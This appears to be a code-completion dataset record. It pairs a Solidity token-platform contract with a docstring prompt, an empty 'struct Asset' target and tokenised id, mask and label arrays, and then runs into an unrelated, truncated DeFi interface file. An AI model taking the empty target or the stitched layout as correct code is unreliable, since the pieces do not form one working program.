uint constant ATX_PLATFORM_CANNOT_ISSUE_FIXED_ASSET_WITH_INVALID_VALUE = ATX_PLATFORM_SCOPE + 7;
uint constant ATX_PLATFORM_CANNOT_REISSUE_FIXED_ASSET = ATX_PLATFORM_SCOPE + 8;
uint constant ATX_PLATFORM_SUPPLY_OVERFLOW = ATX_PLATFORM_SCOPE + 9;
uint constant ATX_PLATFORM_NOT_ENOUGH_TOKENS = ATX_PLATFORM_SCOPE + 10;
uint constant ATX_PLATFORM_INVALID_NEW_OWNER = ATX_PLATFORM_SCOPE + 11;
uint constant ATX_PLATFORM_ALREADY_TRUSTED = ATX_PLATFORM_SCOPE + 12;
uint constant ATX_PLATFORM_SHOULD_RECOVER_TO_NEW_ADDRESS = ATX_PLATFORM_SCOPE + 13;
uint constant ATX_PLATFORM_ASSET_IS_NOT_ISSUED = ATX_PLATFORM_SCOPE + 14;
uint constant ATX_PLATFORM_INVALID_INVOCATION = ATX_PLATFORM_SCOPE + 15;
using SafeMath for uint;
/// @title Structure of a particular asset.
struct Asset {
uint owner; // Asset's owner id.
uint totalSupply; // Asset's total supply.
string name; // Asset's name, for information purposes.
string description; // Asset's description, for information purposes.
bool isReissuable; // Indicates if asset have dynamic or fixed supply.
uint8 baseUnit; // Proposed number of decimals.
mapping(uint => Wallet) wallets; // Holders wallets.
mapping(uint => bool) partowners; // Part-owners of an asset; have less access rights than owner
}
/// @title Structure of an asset holder wallet for particular asset.
struct Wallet {
uint balance;
mapping(uint => uint) allowance;
}
/// @title Structure of an asset holder.
struct Holder {
address addr; // Current address of the holder.
mapping(address => bool) trust; // Addresses that are trusted with recovery proocedure.
}
/// @dev Iterable mapping pattern is used for holders.
/// @dev This is an access address mapping. Many addresses may have access to a single holder.
uint public holdersCount;
mapping(uint => Holder) public holders;
mapping(address => uint) holderIndex;
/// @dev List of symbols that exist in a platform
bytes32[] public symbols;
/// @dev Asset symbol to asset mapping.
mapping(bytes32 => Asset) public assets;
/// @dev Asset symbol to asset proxy mapping.
mapping(bytes32 => address) public proxies;
/// @dev Co-owners of a platform. Has less access rights than a root contract owner
mapping(address => bool) public partowners;
/// @dev Should use interface of the emitter, but address of events history.
address public eventsHistory;
/// @dev Emits Error if called not by asset owner.
modifier onlyOwner(bytes32 _symbol) {
if (isOwner(msg.sender, _symbol)) {
_;
}
}
/// @dev UNAUTHORIZED if called not by one of symbol's partowners or owner
modifier onlyOneOfOwners(bytes32 _symbol) {
if (hasAssetRights(msg.sender, _symbol)) {
_;
}
}
/// @dev UNAUTHORIZED if called not by one of partowners or contract's owner
modifier onlyOneOfContractOwners() {
if (contractOwner == msg.sender || partowners[msg.sender]) {
_;
}
}
/// @dev Emits Error if called not by asset proxy.
modifier onlyProxy(bytes32 _symbol) {
if (proxies[_symbol] == msg.sender) {
_;
}
}
/// @dev Emits Error if _from doesn't trust _to.
modifier checkTrust(address _from, address _to) {
if (isTrusted(_from, _to)) {
_;
}
}
function() payable public {
revert();
}
/// @notice Trust an address to perform recovery procedure for the caller.
///
/// @return success.
function trust() external returns (uint) {
uint fromId = _createHolderId(msg.sender);
// Should trust to another address.
if (msg.sender == contractOwner) {
return _error(ATX_PLATFORM_CANNOT_APPLY_TO_ONESELF);
}
// Should trust to yet untrusted.
if (isTrusted(msg.sender, contractOwner)) {
return _error(ATX_PLATFORM_ALREADY_TRUSTED);
}
holders[fromId].trust[contractOwner] = true;
return OK;
}
/// @notice Revoke trust to perform recovery procedure from an address.
///
/// @return success.
function distrust() external checkTrust(msg.sender, contractOwner) returns (uint) {
holders[getHolderId(msg.sender)].trust[contractOwner] = false;
return OK;
}
/// @notice Adds a co-owner of a contract. Might be more than one co-owner
///
/// @dev Allowed to only contract onwer
///
/// @param _partowner a co-owner of a contract
///
/// @return result code of an operation
function addPartOwner(address _partowner) external onlyContractOwner returns (uint) {
partowners[_partowner] = true;
return OK;
}
/// @notice emoves a co-owner of a contract
///
/// @dev Should be performed only by root contract owner
///
/// @param _partowner a co-owner of a contract
///
/// @return result code of an operation
function removePartOwner(address _partowner) external onlyContractOwner returns (uint) {
delete partowners[_partowner];
return OK;
}
/// @notice Sets EventsHstory contract address.
///
/// @dev Can be set only by owner.
///
/// @param _eventsHistory MultiEventsHistory contract address.
///
/// @return success.
function setupEventsHistory(address _eventsHistory) external onlyContractOwner returns (uint errorCode) {
eventsHistory = _eventsHistory;
return OK;
}
/// @notice Adds a co-owner for an asset with provided symbol.
/// @dev Should be performed by a contract owner or its co-owners
///
/// @param _symbol asset's symbol
/// @param _partowner a co-owner of an asset
///
/// @return errorCode result code of an operation
function addAssetPartOwner(bytes32 _symbol, address _partowner) external onlyOneOfOwners(_symbol) returns (uint) {
uint holderId = _createHolderId(_partowner);
assets[_symbol].partowners[holderId] = true;
Emitter(eventsHistory).emitOwnershipChange(0x0, _partowner, _symbol);
return OK;
}
/// @notice Removes a co-owner for an asset with provided symbol.
/// @dev Should be performed by a contract owner or its co-owners
///
/// @param _symbol asset's symbol
/// @param _partowner a co-owner of an asset
///
/// @return errorCode result code of an operation
function removeAssetPartOwner(bytes32 _symbol, address _partowner) external onlyOneOfOwners(_symbol) returns (uint) {
uint holderId = getHolderId(_partowner);
delete assets[_symbol].partowners[holderId];
Emitter(eventsHistory).emitOwnershipChange(_partowner, 0x0, _symbol);
return OK;
}
function massTransfer(address[] addresses, uint[] values, bytes32 _symbol) external onlyOneOfOwners(_symbol) returns (uint errorCode, uint count) {
require(addresses.length == values.length);
require(_symbol != 0x0);
uint senderId = _createHolderId(msg.sender);
uint success = 0;
for (uint idx = 0; idx < addresses.length && msg.gas > 110000; ++idx) {
uint value = values[idx];
if (value == 0) {
_error(ATX_PLATFORM_INVALID_VALUE);
continue;
}
if (_balanceOf(senderId, _symbol) < value) {
_error(ATX_PLATFORM_INSUFFICIENT_BALANCE);
continue;
}
if (msg.sender == addresses[idx]) {
_error(ATX_PLATFORM_CANNOT_APPLY_TO_ONESELF);
continue;
}
uint holderId = _createHolderId(addresses[idx]);
_transferDirect(senderId, holderId, value, _symbol);
Emitter(eventsHistory).emitTransfer(msg.sender, addresses[idx], _symbol, value, "");
++success;
}
return (OK, success);
}
/// @notice Provides a cheap way to get number of symbols registered in a platform
///
/// @return number of symbols
function symbolsCount() public view returns (uint) {
return symbols.length;
}
/// @notice Check asset existance.
///
/// @param _symbol asset symbol.
///
/// @return asset existance.
function isCreated(bytes32 _symbol) public view returns (bool) {
return assets[_symbol].owner != 0;
}
/// @notice Returns asset decimals.
///
/// @param _symbol asset symbol.
///
/// @return asset decimals.
function baseUnit(bytes32 _symbol) public view returns (uint8) {
return assets[_symbol].baseUnit;
}
/// @notice Returns asset name.
///
/// @param _symbol asset symbol.
///
/// @return asset name.
function name(bytes32 _symbol) public view returns (string) {
return assets[_symbol].name;
}
/// @notice Returns asset description.
///
/// @param _symbol asset symbol.
///
/// @return asset description.
function description(bytes32 _symbol) public view returns (string) {
return assets[_symbol].description;
}
/// @notice Returns asset reissuability.
///
/// @param _symbol asset symbol.
///
/// @return asset reissuability.
function isReissuable(bytes32 _symbol) public view returns (bool) {
return assets[_symbol].isReissuable;
}
/// @notice Returns asset owner address.
///
/// @param _symbol asset symbol.
///
/// @return asset owner address.
function owner(bytes32 _symbol) public view returns (address) {
return holders[assets[_symbol].owner].addr;
}
/// @notice Check if specified address has asset owner rights.
///
/// @param _owner address to check.
/// @param _symbol asset symbol.
///
/// @return owner rights availability.
function isOwner(address _owner, bytes32 _symbol) public view returns (bool) {
return isCreated(_symbol) && (assets[_symbol].owner == getHolderId(_owner));
}
/// @notice Checks if a specified address has asset owner or co-owner rights.
///
/// @param _owner address to check.
/// @param _symbol asset symbol.
///
/// @return owner rights availability.
function hasAssetRights(address _owner, bytes32 _symbol) public view returns (bool) {
uint holderId = getHolderId(_owner);
return isCreated(_symbol) && (assets[_symbol].owner == holderId || assets[_symbol].partowners[holderId]);
}
/// @notice Returns asset total supply.
///
/// @param _symbol asset symbol.
///
/// @return asset total supply.
function totalSupply(bytes32 _symbol) public view returns (uint) {
return assets[_symbol].totalSupply;
}
/// @notice Returns asset balance for a particular holder.
///
/// @param _holder holder address.
/// @param _symbol asset symbol.
///
/// @return holder balance.
function balanceOf(address _holder, bytes32 _symbol) public view returns (uint) {
return _balanceOf(getHolderId(_holder), _symbol);
}
/// @notice Returns asset balance for a particular holder id.
///
/// @param _holderId holder id.
/// @param _symbol asset symbol.
///
/// @return holder balance.
function _balanceOf(uint _holderId, bytes32 _symbol) public view returns (uint) {
return assets[_symbol].wallets[_holderId].balance;
}
/// @notice Returns current address for a particular holder id.
///
/// @param _holderId holder id.
///
/// @return holder address.
function _address(uint _holderId) public view returns (address) {
return holders[_holderId].addr;
}
function checkIsAssetPartOwner(bytes32 _symbol, address _partowner) public view returns (bool) {
require(_partowner != 0x0);
uint holderId = getHolderId(_partowner);
return assets[_symbol].partowners[holderId];
}
/// @notice Sets Proxy contract address for a particular asset.
///
/// Can be set only once for each asset, and only by contract owner.
///
/// @param _proxyAddress Proxy contract address.
/// @param _symbol asset symbol.
///
/// @return success.
function setProxy(address _proxyAddress, bytes32 _symbol) public onlyOneOfContractOwners returns (uint) {
if (proxies[_symbol] != 0x0) {
return ATX_PLATFORM_PROXY_ALREADY_EXISTS;
}
proxies[_symbol] = _proxyAddress;
return OK;
}
/// @notice Returns holder id for the specified address.
///
/// @param _holder holder address.
///
/// @return holder id.
function getHolderId(address _holder) public view returns (uint) {
return holderIndex[_holder];
}
/// @notice Transfers asset balance between holders wallets.
///
/// @dev Can only be called by asset proxy.
///
/// @param _to holder address to give to.
/// @param _value amount to transfer.
/// @param _symbol asset symbol.
/// @param _reference transfer comment to be included in a Transfer event.
/// @param _sender transfer initiator address.
///
/// @return success.
function proxyTransferWithReference(address _to, uint _value, bytes32 _symbol, string _reference, address _sender) onlyProxy(_symbol) public returns (uint) {
return _transfer(getHolderId(_sender), _createHolderId(_to), _value, _symbol, _reference, getHolderId(_sender));
}
/// @notice Issues new asset token on the platform.
///
/// Tokens issued with this call go straight to contract owner.
/// Each symbol can be issued only once, and only by contract owner.
///
/// @param _symbol asset symbol.
/// @param _value amount of tokens to issue immediately.
/// @param _name name of the asset.
/// @param _description description for the asset.
/// @param _baseUnit number of decimals.
/// @param _isReissuable dynamic or fixed supply.
///
/// @return success.
function issueAsset(bytes32 _symbol, uint _value, string _name, string _description, uint8 _baseUnit, bool _isReissuable) public returns (uint) {
return issueAssetToAddress(_symbol, _value, _name, _description, _baseUnit, _isReissuable, msg.sender);
}
/// @notice Issues new asset token on the platform.
///
/// Tokens issued with this call go straight to contract owner.
/// Each symbol can be issued only once, and only by contract owner.
///
/// @param _symbol asset symbol.
/// @param _value amount of tokens to issue immediately.
/// @param _name name of the asset.
/// @param _description description for the asset.
/// @param _baseUnit number of decimals.
/// @param _isReissuable dynamic or fixed supply.
/// @param _account address where issued balance will be held
///
/// @return success.
function issueAssetToAddress(bytes32 _symbol, uint _value, string _name, string _description, uint8 _baseUnit, bool _isReissuable, address _account) public onlyOneOfContractOwners returns (uint) {
// Should have positive value if supply is going to be fixed.
if (_value == 0 && !_isReissuable) {
return _error(ATX_PLATFORM_CANNOT_ISSUE_FIXED_ASSET_WITH_INVALID_VALUE);
}
// Should not be issued yet.
if (isCreated(_symbol)) {
return _error(ATX_PLATFORM_ASSET_ALREADY_ISSUED);
}
uint holderId = _createHolderId(_account);
uint creatorId = _account == msg.sender ? holderId : _createHolderId(msg.sender);
symbols.push(_symbol);
assets[_symbol] = Asset(creatorId, _value, _name, _description, _isReissuable, _baseUnit);
assets[_symbol].wallets[holderId].balance = _value;
// Internal Out Of Gas/Throw: revert this transaction too;
// Call Stack Depth Limit reached: n/a after HF 4;
// Recursive Call: safe, all changes already made.
Emitter(eventsHistory).emitIssue(_symbol, _value, _address(holderId));
return OK;
}
/// @notice Issues additional asset tokens if the asset have dynamic supply.
///
/// Tokens issued with this call go straight to asset owner.
/// Can only be called by asset owner.
///
/// @param _symbol asset symbol.
/// @param _value amount of additional tokens to issue.
///
/// @return success.
function reissueAsset(bytes32 _symbol, uint _value) public onlyOneOfOwners(_symbol) returns (uint) {
// Should have positive value.
if (_value == 0) {
return _error(ATX_PLATFORM_INVALID_VALUE);
}
Asset storage asset = assets[_symbol];
// Should have dynamic supply.
if (!asset.isReissuable) {
return _error(ATX_PLATFORM_CANNOT_REISSUE_FIXED_ASSET);
}
// Resulting total supply should not overflow.
if (asset.totalSupply + _value < asset.totalSupply) {
return _error(ATX_PLATFORM_SUPPLY_OVERFLOW);
}
uint holderId = getHolderId(msg.sender);
asset.wallets[holderId].balance = asset.wallets[holderId].balance.add(_value);
asset.totalSupply = asset.totalSupply.add(_value);
// Internal Out Of Gas/Throw: revert this transaction too;
// Call Stack Depth Limit reached: n/a after HF 4;
// Recursive Call: safe, all changes already made.
Emitter(eventsHistory).emitIssue(_symbol, _value, _address(holderId));
_proxyTransferEvent(0, holderId, _value, _symbol);
return OK;
}
/// @notice Destroys specified amount of senders asset tokens.
///
/// @param _symbol asset symbol.
/// @param _value amount of tokens to destroy.
///
/// @return success.
function revokeAsset(bytes32 _symbol, uint _value) public returns (uint) {
// Should have positive value.
if (_value == 0) {
return _error(ATX_PLATFORM_INVALID_VALUE);
}
Asset storage asset = assets[_symbol];
uint holderId = getHolderId(msg.sender);
// Should have enough tokens.
if (asset.wallets[holderId].balance < _value) {
return _error(ATX_PLATFORM_NOT_ENOUGH_TOKENS);
}
asset.wallets[holderId].balance = asset.wallets[holderId].balance.sub(_value);
asset.totalSupply = asset.totalSupply.sub(_value);
// Internal Out Of Gas/Throw: revert this transaction too;
// Call Stack Depth Limit reached: n/a after HF 4;
// Recursive Call: safe, all changes already made.
Emitter(eventsHistory).emitRevoke(_symbol, _value, _address(holderId));
_proxyTransferEvent(holderId, 0, _value, _symbol);
return OK;
}
/// @notice Passes asset ownership to specified address.
///
/// Only ownership is changed, balances are not touched.
/// Can only be called by asset owner.
///
/// @param _symbol asset symbol.
/// @param _newOwner address to become a new owner.
///
/// @return success.
function changeOwnership(bytes32 _symbol, address _newOwner) public onlyOwner(_symbol) returns (uint) {
if (_newOwner == 0x0) {
return _error(ATX_PLATFORM_INVALID_NEW_OWNER);
}
Asset storage asset = assets[_symbol];
uint newOwnerId = _createHolderId(_newOwner);
// Should pass ownership to another holder.
if (asset.owner == newOwnerId) {
return _error(ATX_PLATFORM_CANNOT_APPLY_TO_ONESELF);
}
address oldOwner = _address(asset.owner);
asset.owner = newOwnerId;
// Internal Out Of Gas/Throw: revert this transaction too;
// Call Stack Depth Limit reached: n/a after HF 4;
// Recursive Call: safe, all changes already made.
Emitter(eventsHistory).emitOwnershipChange(oldOwner, _newOwner, _symbol);
return OK;
}
/// @notice Check if specified holder trusts an address with recovery procedure.
///
/// @param _from truster.
/// @param _to trustee.
///
/// @return trust existance.
function isTrusted(address _from, address _to) public view returns (bool) {
return holders[getHolderId(_from)].trust[_to];
}
/// @notice Perform recovery procedure.
///
/// Can be invoked by contract owner if he is trusted by sender only.
///
/// This function logic is actually more of an addAccess(uint _holderId, address _to).
/// It grants another address access to recovery subject wallets.
/// Can only be called by trustee of recovery subject.
///
/// @param _from holder address to recover from.
/// @param _to address to grant access to.
///
/// @return success.
function recover(address _from, address _to) checkTrust(_from, msg.sender) public onlyContractOwner returns (uint errorCode) {
// We take current holder address because it might not equal _from.
// It is possible to recover from any old holder address, but event should have the current one.
address from = holders[getHolderId(_from)].addr;
holders[getHolderId(_from)].addr = _to;
holderIndex[_to] = getHolderId(_from);
// Internal Out Of Gas/Throw: revert this transaction too;
// Call Stack Depth Limit reached: revert this transaction too;
// Recursive Call: safe, all changes already made.
Emitter(eventsHistory).emitRecovery(from, _to, msg.sender);
return OK;
}
/// @notice Sets asset spending allowance for a specified spender.
///
/// @dev Can only be called by asset proxy.
///
/// @param _spender holder address to set allowance to.
/// @param _value amount to allow.
/// @param _symbol asset symbol.
/// @param _sender approve initiator address.
///
/// @return success.
function proxyApprove(address _spender, uint _value, bytes32 _symbol, address _sender) public onlyProxy(_symbol) returns (uint) {
return _approve(_createHolderId(_spender), _value, _symbol, _createHolderId(_sender));
}
/// @notice Returns asset allowance from one holder to another.
///
/// @param _from holder that allowed spending.
/// @param _spender holder that is allowed to spend.
/// @param _symbol asset symbol.
///
/// @return holder to spender allowance.
function allowance(address _from, address _spender, bytes32 _symbol) public view returns (uint) {
return _allowance(getHolderId(_from), getHolderId(_spender), _symbol);
}
/// @notice Prforms allowance transfer of asset balance between holders wallets.
///
/// @dev Can only be called by asset proxy.
///
/// @param _from holder address to take from.
/// @param _to holder address to give to.
/// @param _value amount to transfer.
/// @param _symbol asset symbol.
/// @param _reference transfer comment to be included in a Transfer event.
/// @param _sender allowance transfer initiator address.
///
/// @return success.
function proxyTransferFromWithReference(address _from, address _to, uint _value, bytes32 _symbol, string _reference, address _sender) public onlyProxy(_symbol) returns (uint) {
return _transfer(getHolderId(_from), _createHolderId(_to), _value, _symbol, _reference, getHolderId(_sender));
}
/// @notice Transfers asset balance between holders wallets.
///
/// @param _fromId holder id to take from.
/// @param _toId holder id to give to.
/// @param _value amount to transfer.
/// @param _symbol asset symbol.
function _transferDirect(uint _fromId, uint _toId, uint _value, bytes32 _symbol) internal {
assets[_symbol].wallets[_fromId].balance = assets[_symbol].wallets[_fromId].balance.sub(_value);
assets[_symbol].wallets[_toId].balance = assets[_symbol].wallets[_toId].balance.add(_value);
}
/// @notice Transfers asset balance between holders wallets.
///
/// @dev Performs sanity checks and takes care of allowances adjustment.
///
/// @param _fromId holder id to take from.
/// @param _toId holder id to give to.
/// @param _value amount to transfer.
/// @param _symbol asset symbol.
/// @param _reference transfer comment to be included in a Transfer event.
/// @param _senderId transfer initiator holder id.
///
/// @return success.
function _transfer(uint _fromId, uint _toId, uint _value, bytes32 _symbol, string _reference, uint _senderId) internal returns (uint) {
// Should not allow to send to oneself.
if (_fromId == _toId) {
return _error(ATX_PLATFORM_CANNOT_APPLY_TO_ONESELF);
}
// Should have positive value.
if (_value == 0) {
return _error(ATX_PLATFORM_INVALID_VALUE);
}
// Should have enough balance.
if (_balanceOf(_fromId, _symbol) < _value) {
return _error(ATX_PLATFORM_INSUFFICIENT_BALANCE);
}
// Should have enough allowance.
if (_fromId != _senderId && _allowance(_fromId, _senderId, _symbol) < _value) {
return _error(ATX_PLATFORM_NOT_ENOUGH_ALLOWANCE);
}
_transferDirect(_fromId, _toId, _value, _symbol);
// Adjust allowance.
if (_fromId != _senderId) {
assets[_symbol].wallets[_fromId].allowance[_senderId] = assets[_symbol].wallets[_fromId].allowance[_senderId].sub(_value);
}
// Internal Out Of Gas/Throw: revert this transaction too;
// Call Stack Depth Limit reached: n/a after HF 4;
// Recursive Call: safe, all changes already made.
Emitter(eventsHistory).emitTransfer(_address(_fromId), _address(_toId), _symbol, _value, _reference);
_proxyTransferEvent(_fromId, _toId, _value, _symbol);
return OK;
}
/// @notice Ask asset Proxy contract to emit ERC20 compliant Transfer event.
///
/// @param _fromId holder id to take from.
/// @param _toId holder id to give to.
/// @param _value amount to transfer.
/// @param _symbol asset symbol.
function _proxyTransferEvent(uint _fromId, uint _toId, uint _value, bytes32 _symbol) internal {
if (proxies[_symbol] != 0x0) {
// Internal Out Of Gas/Throw: revert this transaction too;
// Call Stack Depth Limit reached: n/a after HF 4;
// Recursive Call: safe, all changes already made.
ProxyEventsEmitter(proxies[_symbol]).emitTransfer(_address(_fromId), _address(_toId), _value);
}
}
/// @notice Returns holder id for the specified address, creates it if needed.
///
/// @param _holder holder address.
///
/// @return holder id.
function _createHolderId(address _holder) internal returns (uint) {
uint holderId = holderIndex[_holder];
if (holderId == 0) {
holderId = ++holdersCount;
holders[holderId].addr = _holder;
holderIndex[_holder] = holderId;
}
return holderId;
}
/// @notice Sets asset spending allowance for a specified spender.
///
/// Note: to revoke allowance, one needs to set allowance to 0.
///
/// @param _spenderId holder id to set allowance for.
/// @param _value amount to allow.
/// @param _symbol asset symbol.
/// @param _senderId approve initiator holder id.
///
/// @return success.
function _approve(uint _spenderId, uint _value, bytes32 _symbol, uint _senderId) internal returns (uint) {
// Asset should exist.
if (!isCreated(_symbol)) {
return _error(ATX_PLATFORM_ASSET_IS_NOT_ISSUED);
}
// Should allow to another holder.
if (_senderId == _spenderId) {
return _error(ATX_PLATFORM_CANNOT_APPLY_TO_ONESELF);
}
// Double Spend Attack checkpoint
if (assets[_symbol].wallets[_senderId].allowance[_spenderId] != 0 && _value != 0) {
return _error(ATX_PLATFORM_INVALID_INVOCATION);
}
assets[_symbol].wallets[_senderId].allowance[_spenderId] = _value;
// Internal Out Of Gas/Throw: revert this transaction too;
// Call Stack Depth Limit reached: revert this transaction too;
// Recursive Call: safe, all changes already made.
Emitter(eventsHistory).emitApprove(_address(_senderId), _address(_spenderId), _symbol, _value);
if (proxies[_symbol] != 0x0) {
// Internal Out Of Gas/Throw: revert this transaction too;
// Call Stack Depth Limit reached: n/a after HF 4;
// Recursive Call: safe, all changes already made.
ProxyEventsEmitter(proxies[_symbol]).emitApprove(_address(_senderId), _address(_spenderId), _value);
}
return OK;
}
/// @notice Returns asset allowance from one holder to another.
///
/// @param _fromId holder id that allowed spending.
/// @param _toId holder id that is allowed to spend.
/// @param _symbol asset symbol.
///
/// @return holder to spender allowance.
function _allowance(uint _fromId, uint _toId, bytes32 _symbol) internal view returns (uint) {
return assets[_symbol].wallets[_fromId].allowance[_toId];
}
/// @dev Emits Error event with specified error message.
/// Should only be used if no state changes happened.
/// @param _errorCode code of an error
function _error(uint _errorCode) internal returns (uint) {
Emitter(eventsHistory).emitError(_errorCode);
return _errorCode;
}
}
|
@title Structure of a particular asset.
|
struct Asset {
}
| 5,370,156 |
[
1,
6999,
434,
279,
6826,
3310,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
1958,
10494,
288,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
// Global Enums and Structs
struct StrategyParams {
uint256 performanceFee;
uint256 activation;
uint256 debtRatio;
uint256 minDebtPerHarvest;
uint256 maxDebtPerHarvest;
uint256 lastReport;
uint256 totalDebt;
uint256 totalGain;
uint256 totalLoss;
}
// Part: IConvexDeposit
interface IConvexDeposit {
// deposit into convex, receive a tokenized deposit. parameter to stake immediately (we always do this).
function deposit(
uint256 _pid,
uint256 _amount,
bool _stake
) external returns (bool);
// burn a tokenized deposit (Convex deposit tokens) to receive curve lp tokens back
function withdraw(uint256 _pid, uint256 _amount) external returns (bool);
}
// Part: IConvexRewards
interface IConvexRewards {
// strategy's staked balance in the synthetix staking contract
function balanceOf(address account) external view returns (uint256);
// read how much claimable CRV a strategy has
function earned(address account) external view returns (uint256);
// stake a convex tokenized deposit
function stake(uint256 _amount) external returns (bool);
// withdraw to a convex tokenized deposit, probably never need to use this
function withdraw(uint256 _amount, bool _claim) external returns (bool);
// withdraw directly to curve LP token, this is what we primarily use
function withdrawAndUnwrap(uint256 _amount, bool _claim)
external
returns (bool);
// claim rewards, with an option to claim extra rewards or not
function getReward(address _account, bool _claimExtras)
external
returns (bool);
}
// Part: ICurveFi
interface ICurveFi {
function get_virtual_price() external view returns (uint256);
function add_liquidity(
// Iron bank pool
uint256[3] calldata amounts,
uint256 min_mint_amount,
bool use_underlying
) external payable;
function remove_liquidity_imbalance(
uint256[2] calldata amounts,
uint256 max_burn_amount
) external;
function remove_liquidity(uint256 _amount, uint256[2] calldata amounts)
external;
function remove_liquidity_one_coin(
uint256 _token_amount,
int128 i,
uint256 min_amount
) external;
function exchange(
int128 from,
int128 to,
uint256 _from_amount,
uint256 _min_to_amount
) external;
function balances(uint256) external view returns (uint256);
function get_dy(
int128 from,
int128 to,
uint256 _from_amount
) external view returns (uint256);
function calc_token_amount(uint256[2] calldata amounts)
external
view
returns (uint256);
function calc_withdraw_one_coin(uint256 amount, int128 i)
external
view
returns (uint256);
}
// Part: IUniswapV2Router01
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
